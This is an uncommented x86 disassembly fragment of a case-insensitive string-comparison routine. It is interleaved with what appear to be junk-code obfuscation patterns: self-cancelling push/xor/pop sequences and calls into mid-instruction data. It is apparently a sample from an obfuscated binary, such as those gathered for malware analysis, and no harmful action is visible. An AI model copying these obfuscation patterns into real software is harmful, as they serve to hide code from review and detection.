mov dword [ebp - 0x1a04], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x4088e6
mov edx, dword [ebp - 0x1a0]
add edx, 1
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x794]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x408998
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x9d8]
test eax, eax
je 0x408998
push esi
xor esi, 0x1034a
call 0x408928
add byte [edi + 0x42], al
dec ecx
inc ebp
dec esp
cmp esi, dword [0x4c48348]
and esi, 0x15373
call 0x408941
add byte [ebx], bh
inc esp
aas
dec esp
inc ebx
dec esi
cmp al, byte [esi + 0x32]
add esp, 4
pop esi
mov ecx, dword [ebp - 0x794]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x9d8]
cmp edx, ecx
je 0x40898a
mov edx, dword [ebp - 0x794]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x9d8]
cmp eax, edx
jne 0x408991
jmp 0x4088d7
jmp 0x408998
push edi
or edi, 0x16898
sub edi, 0x1248c
call 0x4089b2
add byte [eax + 0x4a], al
dec eax
cmp eax, 0xc4833948
add al, 0x5f
push ecx
jmp 0x4089bd
xor ecx, 0x75f3
or ecx, 0x89e6
pop ecx
mov eax, dword [ebp - 0x794]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x9d8]
cmp ecx, eax
jne 0x4089f7
mov dword [ebp - 0xce8], 0
jmp 0x408a66
push ecx
push eax
add esp, 4
xor ecx, 0xf31
pop ecx
push edx
call 0x408a10
add byte [0x41474936], dh
push eax
add esp, 4
or edx, 0xcc5a
jmp 0x408a22
or edx, 0x17e3c
pop edx
mov ecx, dword [ebp - 0x794]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x9d8]
or ecx, 0x20
cmp edx, ecx
jge 0x408a5c
mov dword [ebp - 0xce8], 0xffffffff
jmp 0x408a66
mov dword [ebp - 0xce8], 1
cmp dword [ebp - 0xce8], 0
jne 0x408a7d
mov edx, dword [ebp - 0x1a04]
mov dword [ebp - 0x524], edx
jmp 0x408a8e
jmp 0x408867
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x524], eax
mov ecx, dword [ebp - 0x524]
mov dword [ebp - 0xac0], ecx